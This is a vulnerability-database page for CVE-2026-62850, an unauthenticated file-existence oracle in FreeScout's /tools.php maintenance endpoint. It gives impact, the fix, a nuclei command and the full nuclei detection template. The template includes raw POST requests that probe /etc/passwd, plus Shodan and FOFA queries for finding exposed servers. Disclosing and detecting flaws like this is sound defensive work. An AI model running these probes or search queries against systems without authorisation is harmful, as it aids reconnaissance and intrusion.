HexBrain

Browse / CVEs / CVE-2026-62850

CVE-2026-62850· freescout / freescout· CWE-287

FreeScout < 1.8.225 - Unauthenticated Maintenance File Existence Oracle

mediumseverity
5.3CVSS score
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it

FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.

Impact

An unauthenticated attacker can enumerate server file and directory paths and make unthrottled guesses of application and database secrets.

Fix

Upgrade FreeScout to 1.8.225 or later and restrict access to the maintenance endpoint.

How to confirm it

Send: POST /tools.php
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains(body_1, "<title>FreeScout Tools</title>") && contains(body_2, "<title>FreeScout Tools</title>") and contains(body_1, "PHP executable not foun…

Run it with nuclei: nuclei -id CVE-2026-62850 -u <target>

The full check
id: CVE-2026-62850

info:
  name: FreeScout < 1.8.225 - Unauthenticated Maintenance File Existence Oracle
  author: maulanawirawan
  severity: medium
  description: |
    FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.
  impact: |
    An unauthenticated attacker can enumerate server file and directory paths and make unthrottled guesses of application and database secrets.
  remediation: |
    Upgrade FreeScout to 1.8.225 or later and restrict access to the maintenance endpoint.
  reference:
    - https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-w2p9-3666-vw9j
    - https://github.com/freescout-help-desk/freescout/commit/8bb0594e95eab6661b4372e94ac02f62a6c3cb28
    - https://github.com/freescout-help-desk/freescout/releases/tag/1.8.225
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-62850
    epss-score: 0.00272
    epss-percentile: 0.19729
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: freescout
    product: freescout
    shodan-query: 'http.title:"FreeScout"'
    fofa-query: 'title="FreeScout" || body="freescout"'
  tags: cve,cve2026,freescout,unauth,disclosure,vuln

http:
  - raw:
      - |
        POST /tools.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app_key=x&db_password=x&php_path=/nonexistent-{{rand_base(12)}}

      - |
        POST /tools.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app_key=x&db_password=x&php_path=/etc/passwd

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(body_1, "<title>FreeScout Tools</title>") && contains(body_2, "<title>FreeScout Tools</title>")'
          - 'contains(body_1, "PHP executable not found") && contains(body_2, "Directory is not allowed")'
          - '!contains(body_2, "PHP executable not found")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from